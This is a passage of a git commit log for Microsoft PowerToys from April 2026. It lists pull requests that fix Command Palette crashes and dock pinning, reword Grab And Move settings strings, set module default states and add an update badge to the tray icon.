Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-24 08:25:13 +00:00
Copilot
07beeca9b9 Add Grab And Move and Power Display to bug report area selector (#47168)
Adds missing module entries to the bug report issue template so
reporters can classify issues for Grab And Move and Power Display in the
existing **Area(s) with issue?** multi-select.

## Summary of the Pull Request

- **Issue template update**
- Extended `.github/ISSUE_TEMPLATE/bug_report.yml` dropdown options for
`Area(s) with issue?`.
  - Added:
    - `Grab And Move`
    - `Power Display`

```yaml
- type: dropdown
  attributes:
    label: Area(s) with issue?
    options:
      - FancyZones
      - FancyZones Editor
      - Grab And Move
      # ...
      - Peek
      - Power Display
      - PowerRename
```

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

- **Scope**
  - Single-file, metadata-only change in the bug-report template.
- **Behavioral impact**
- Improves triage categorization for two modules that were not
previously selectable in the issue form.

## Validation Steps Performed

- Confirmed the issue template includes both new options under `Area(s)
with issue?`.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-04-24 13:20:33 +08:00
Boliang Zhang
234933f6fa Add installer diagnostics guide for triaging update issues (#47105)
Step-by-step guide for diagnosing old update installer accumulation,
covering log files to check, UpdateState.json interpretation, and common
root causes.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-24 06:56:41 +02:00
Niels Laute
f8a10550f3 Update release notes skill (#47158)
Change the formatting from:

"PR description in #123. Thanks @user"

to

"PR description in #123 by @user"

----

this follows the GitHub release notes format and makes sure people are
correctly listed at the bottom of the release page
2026-04-24 10:56:32 +08:00
moooyo
ca1ffebc26 [Light Switch] Fix PowerDisplay profile integration (#47190)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Fixes two bugs in the Light Switch ↔ PowerDisplay integration:

1. **Settings UI was hidden.** The "Apply monitor settings" expander
   (dark/light profile pickers) and the "PowerDisplay disabled"
   warning InfoBar were temporarily commented out in PR #46160. Users
   had no way to configure which profile to bind to each theme.

2. **Hotkey only applied one profile.** On every hotkey press
   ModuleInterface flips the Windows theme, but the service only
   notified PowerDisplay when `isManualOverride` toggled from `false`
   to `true`. Every even-numbered press was silently dropped, so the
   monitor profile stayed stuck on whichever direction the user
   pressed first.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 10:55:45 +08:00
Josh Soref
2e5c7d2ee6 Refresh check-spelling 0.0.26 (#47119)
This is a refresh based on
976261d7b7

There are a couple of interesting new rules and I've extended one of the
patterns to all letters.

Signed-off-by: Josh Soref <2119212+jsoref@users.noreply.github.com>
2026-04-23 19:05:00 -05:00
Mike Griese
949e42c5c7 CmdPal: Fix crash when typing w/ indexer fallback on (#47186)
This isn't the same crash as #47148. It's another one.
Undoubtably regressed in #46907

The function signature was all wrong. Hence the
`System.ExecutionEngineException`

Tested manually.
2026-04-23 19:13:11 +00:00
Mike Griese
a65266fcad cmdpal: fix the dock window border being visible on startup (#47187)
This is worse after the compact mode change fixed our frame margins. We
hide our window frame with DWM. However, we only did that when we we
`Activated`. Turns out, when the window is first created? we're not
`Activated`. So until you focus another window, we'd look... objectively
bad.
2026-04-23 21:06:22 +02:00
Niels Laute
656ea91580 CmdPal: Enable dock pinning and per-profile icons for Windows Terminal (#46372)
## Summary of the Pull Request

Enables Windows Terminal profiles to be **pinned to the Command Palette
dock** and shows **per-profile icons** instead of the generic Terminal
app logo.

### Dock Pinning

**Root cause:** `LaunchProfileCommand.Id` was never set (defaulted to
`string.Empty`). The context menu factory checks
`!string.IsNullOrEmpty(itemId)` before showing "Pin to Dock", so the
option was silently hidden. Additionally, `GetCommandItem()` was not
overridden, so pinned commands could not be resolved on load.

**Fix:**
- Set stable `Id` on `LaunchProfileCommand` (format:
`terminal/{appUserModelId}/{profileName}`)
- Rename constructor parameter `id` → `appUserModelId` to avoid
ambiguity with the generated command `Id`
- Override `GetCommandItem(string id)` in
`WindowsTerminalCommandsProvider` to look up profile items by ID

<img
src="https://github.com/user-attachments/assets/81c7acfc-09b5-40ab-be1d-8f268b24219b">

### Per-Profile Icons

**Root cause:** All profiles showed the same Terminal application logo.
The per-profile `icon` field from Terminal settings.json was parsed into
`TerminalProfile.Icon` but never used.

**Fix:**
- Add `InstallPath` to `TerminalPackage` (from `Package.InstalledPath`)
- Add `ResolveProfileIcon()` helper to `TerminalHelper` that resolves
`ms-appx:///` URIs to the Terminal package install directory (with scale
variant probing), passes through file paths and glyphs, and falls back
to the Terminal logo
- Cache the resolved icon in a local variable to avoid duplicate
filesystem IO per profile
- Set resolved per-profile icon on both `ListItem.Icon` and
`LaunchProfileCommand`

<img
src="https://github.com/user-attachments/assets/a9a476e2-7932-4457-bf04-bc346f2ad971">

### Robustness

- Use `Guid.TryParse` instead of `Guid.Parse` when reading profile GUIDs
from settings.json, so a malformed or empty GUID value does not throw
and take down the entire profile list

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

**Files changed:**
- `Commands/LaunchProfileCommand.cs` — Assigns stable `Id`, renames `id`
→ `appUserModelId` throughout, adds `static MakeId()` helper
- `Helpers/TerminalHelper.cs` — Adds `ResolveProfileIcon()`,
`TryResolveGuidIcon()`, and `ResolveAppxPath()` helpers; hardens GUID
parsing with `Guid.TryParse`
- `Helpers/TerminalQuery.cs` — Passes `p.InstalledPath` to the
`TerminalPackage` constructor
- `Pages/ProfilesListPage.cs` — Resolves and caches icon path per
profile; sets `ListItem.Icon`
- `TerminalPackage.cs` — Adds `InstallPath` property
- `WindowsTerminalCommandsProvider.cs` — Overrides
`GetCommandItem(string id)` for dock-pinned command rehydration; removes
unused `using` directive

## Validation Steps Performed

- [x] Build clean with exit code 0
- [x] Dock pinning tested and working — "Pin to Dock" option appears and
survives restart
- [x] Per-profile icons verified — each profile displays its own icon in
both the list and the dock

---------

Co-authored-by: Michael Jolley <mike@baldbeardedbuilder.com>
Co-authored-by: Mike Griese <migrie@microsoft.com>
2026-04-23 12:53:40 -05:00
Michael Jolley
d9bfc42229 CmdPal: Fix fallback command disable toggle using interface type check (#47127)
## Summary

One-line fix for
[#46928](https://github.com/microsoft/PowerToys/issues/46928) — unable
to disable built-in and third-party extension fallback commands in
Command Palette.

## Problem

In `TopLevelViewModel.cs`, the constructor checked:
```csharp
if (IsFallback && commandItem is FallbackCommandItem fallback)
```

This uses the **concrete toolkit class** `FallbackCommandItem`. However,
extensions loaded out-of-process via WinRT/COM only expose **interface
proxies** — they never match the concrete class. As a result,
`_fallbackId` was never set, and the settings toggle to disable a
fallback command had no effect.

## Fix

Changed the type check to use the `IFallbackCommandItem2` WinRT
interface (which defines the `Id` property):

```csharp
if (IsFallback && commandItem is IFallbackCommandItem2 fallback)
```

The `IFallbackCommandItem2` interface is already defined in the
Extensions IDL and implemented by `FallbackCommandItem` in the toolkit.
This correctly matches both in-process and out-of-process extension
objects.

## Validation

- [x] Build clean (`Microsoft.CmdPal.UI.ViewModels` — exit code 0)
- [x] No ABI or schema changes
- [x] Single file changed, single line modified

Fixes #46928

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-23 12:39:22 -05:00
Mike Griese
11bfb40ec6 bump cmdpal to 0.10 (#47181)
title
2026-04-23 12:37:35 -05:00
Niels Laute
1eecf46c51 Fix missing images in Settings (#47165)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

⚠️ I'm not sure if this is the actual fix..

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47150

<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-23 15:50:45 +02:00
Michael Jolley
eeaf89e481 Update .gitignore for squad-specific files (#47122)
Updating .gitignore to ignore all Squad related files
2026-04-23 06:40:55 -05:00
Muyuan Li
bfc5fea11e Fix CmdPal crash when typing in search box (#47148)
Add reentrancy guard for FilteredItems ObservableCollection mutations.

WinUI3's native XAML renderer can pump the message loop while processing
a CollectionChanged notification from InPlaceUpdateList. This allows a
second DoOnUiThread task to begin mutating FilteredItems while the first
is still mid-update, causing heap corruption and an access violation
(0xc0000005) in ntdll.dll.

The fix introduces RunFilteredItemsUpdate() which uses a boolean flag to
detect same-thread reentrancy (C# lock is reentrant so _listLock cannot
prevent this). When reentrancy is detected, only the latest pending
update is stored and executed after the in-flight mutation completes,
ensuring the UI converges to the newest state without overlapping
mutations.

Fixes: 100% reproducible crash in CmdPal when typing any character in
the search box (build ID 145015494).

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47145
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-23 16:38:15 +08:00
Gordon Lam
98c5b45a30 [Settings] Make GrabAndMove strings modifier-agnostic (#47178)
## Summary of the Pull Request

[PR #47052](https://github.com/microsoft/PowerToys/pull/47052)
introduced a **Win** option alongside **Alt** for the GrabAndMove
activation modifier (`GrabAndMove_ModifierKey` dropdown, `Alt` / `Win`).
However several user-facing strings in Settings still hardcode `Alt`,
which now misrepresents the feature when a user has selected `Win` as
the modifier.

This PR updates the wording of those strings to be modifier-agnostic.

### Strings changed (en-us)

| Key | Before | After |
|---|---|---|
| `GrabAndMove.ModuleDescription` | Move and resize windows with
**Alt+Drag**. Left-click to move, right-click to resize. | Move and
resize windows by holding **a modifier key** and dragging. Left-click to
move, right-click to resize. |
| `Oobe_GrabAndMove_HowToUse.Text` | Hold **Alt** and left-click drag...
Hold **Alt** and right-click drag... | Hold the **activation modifier
key** and left-click drag... Hold the **activation modifier key** and
right-click drag... |
| `GrabAndMove_UseAltResize.Header` | Enable **Alt + Right-click** to
resize | Enable **modifier + right-click** to resize |
| `GrabAndMove_UseAltResize.Description` | Hold **Alt** and right-click
to resize... | Hold the **activation modifier key** and right-click to
resize... |
| `GrabAndMove_ExcludeApps.Description` | Excludes an application from
being moved or resized **with Alt+Drag** - add one application name per
line | Excludes an application from being moved or resized **by Grab And
Move** - add one application name per line |

`GrabAndMove_ShouldAbsorbAlt` strings are intentionally left unchanged
ΓÇö that toggle is genuinely Alt-specific (it suppresses the window-menu
activation triggered by Alt).

## PR Checklist

- [x] **Closes:** follow-up to #47052
- [x] **Communication:** no additional comms needed
- [x] **Tests:** N/A (en-us resource strings only)
- [x] **Manual Tests:** Launched Settings UI, verified the GrabAndMove
page renders the new strings correctly (module description, `Enable
modifier + right-click` toggle header/description, excluded-apps
description). Verified OOBE `How to use` text renders with the updated
phrasing.
- [x] **Localization:** Only `en-us/Resources.resw` updated; other
locales will pick up the new English strings via the standard
localization pipeline.
- [x] **No dev docs required**

## Detailed Description of the Pull Request / Additional comments

- Scope is deliberately kept to wording only ΓÇö no logic, IPC, or XAML
bindings touched. Resource keys are preserved, so nothing else needs to
change.
- CC @GordonLamMSFT as the GrabAndMove / #47052 author.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-23 06:54:14 +00:00
Niels Laute
5509628f51 Changing outline ico colors (#47166)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Making sure it's using the right shade of black :)

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47152
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-23 06:48:20 +02:00
Niels Laute
a255493c68 Settings string updates (#47164)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

- Small tweaks to a few setting strings

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47151

<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-23 06:47:52 +02:00
Niels Laute
5c15a63846 Power Display tweaks (#47163)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

- Consistent naming: `Power Display`
- Making the flyout a bit smaller
- Removing dead code (titlebar button colors)

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47153

<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-23 09:19:17 +08:00
Michael Jolley
2c95a61bb3 fix(cmdpal): refresh dock settings on pin/unpin (#47155) (#47169)
## Summary of the Pull Request

Fixes the CmdPal Dock not refreshing when a command is pinned or
unpinned. The dock now immediately reflects pin/unpin changes without
requiring a CmdPal restart.

**Root cause:** `DockViewModel._settings` was cached at construction and
only refreshed via the `SettingsChanged` event. However, pin/unpin
operations in `CommandProviderWrapper.PinDockBand()` / `UnpinDockBand()`
intentionally save with `hotReload: false` (to avoid double-updates), so
`SettingsChanged` never fires. When `DockBands_CollectionChanged` called
`SetupBands()`, it iterated over the stale `_settings` which didn't
include the newly pinned band.

**Fix:** Re-read `DockSettings` from the settings service at the top of
`DockBands_CollectionChanged`, ensuring `SetupBands()` always sees the
latest persisted state.

## PR Checklist

- [x] Closes: #47155
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized —
N/A (no UI string changes)
- [ ] **Dev docs:** Added/updated — N/A (no public API or behavior doc
changes)

## Detailed Description of the Pull Request / Additional comments

Single-line change in
`src/modules/cmdpal/Microsoft.CmdPal.UI.ViewModels/Dock/DockViewModel.cs`:

```csharp
_settings = _settingsService.Settings.DockSettings;
```

Added before the existing `SetupBands()` call inside
`DockBands_CollectionChanged`. The edit-mode guard (`_isEditing`) is
already checked earlier in the method, so drag/drop operations are
unaffected.

This fix covers both pin and unpin flows since both use the same
`hotReload: false` → `CommandsChanged` → `DockBands_CollectionChanged`
code path.

## Validation Steps Performed

- Built `Microsoft.CmdPal.UI.ViewModels.csproj` — exit code 0, no
warnings related to change
- Verified unpin flow uses the same code path and benefits from the fix
- Manual verification: pin a command via CmdPal → dock updates
immediately without restart

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-22 15:05:44 -05:00
moooyo
dbc390ab0d fix: default 8 modules to disabled to match EnabledModules.cs (#47144)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes a mismatch where 8 modules inherited the default
`is_enabled_by_default() = true` from `PowertoyModuleIface` while
`EnabledModules.cs` declared them `false`. On a clean install the Runner
would enable these modules on first launch, then Settings UI would flip
them back off once it persisted `settings.json` — a one-time visible
flicker and a DSC compliance gap.

Adds an explicit `is_enabled_by_default() const override { return false;
}` in the following module interfaces so both sides of the default
agree:

- `src/modules/launcher/Microsoft.Launcher/dllmain.cpp` (PowerToys Run)
- `src/modules/CropAndLock/CropAndLockModuleInterface/dllmain.cpp`
- `src/modules/AdvancedPaste/AdvancedPasteModuleInterface/dllmain.cpp`
- `src/modules/Hosts/HostsModuleInterface/dllmain.cpp`
- `src/modules/registrypreview/RegistryPreviewExt/dllmain.cpp`
-
`src/modules/EnvironmentVariables/EnvironmentVariablesModuleInterface/dllmain.cpp`
- `src/modules/Workspaces/WorkspacesModuleInterface/dllmain.cpp`
- `src/modules/powerdisplay/PowerDisplayModuleInterface/dllmain.cpp`

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-22 13:48:20 +00:00
Alex Mihaiuc
c6a79360f3 Unstick GrabAndMove keys, add Win modifier and improve coords (#47052)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This brings some quality of life fixes:

- Alt won't stick when pressing Ctrl+Alt+Del or Alt+Tab into an admin
process.
- Add Win as an option for the move/resize modifier.
- The box window geometry box is opaque now.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Tested that Ctrl+Alt+Del doesn't stick the Alt key.
- Tested that the Win key works as expected as a modifier.
- Compared the last commit for performance with the previous one (the
opaque geometry info box is drawn with an increased number of calls).
2026-04-22 15:02:37 +02:00
Niels Laute
b0ccc2394a Add update-available badge to system tray icon (#47030)
When an update is available (readyToDownload or readyToInstall), the
tray icon switches to a badged variant with an orange dot. Works for
both default mode (color icon.ico) and theme-adaptive mode (light/dark
variants).

Closes: #19222
Closes: #25497

## Changes

### Tray icon update badge
- Add 3 badged icon variants
- Extend get_icon() to select badged variant based on update_available
state
- Add set_tray_icon_update_available() for runtime icon switching
- Hook into UpdateUtils.cpp state transitions via
dispatch_run_on_main_ui_thread
- Check UpdateState at startup to show badge immediately if update
pending
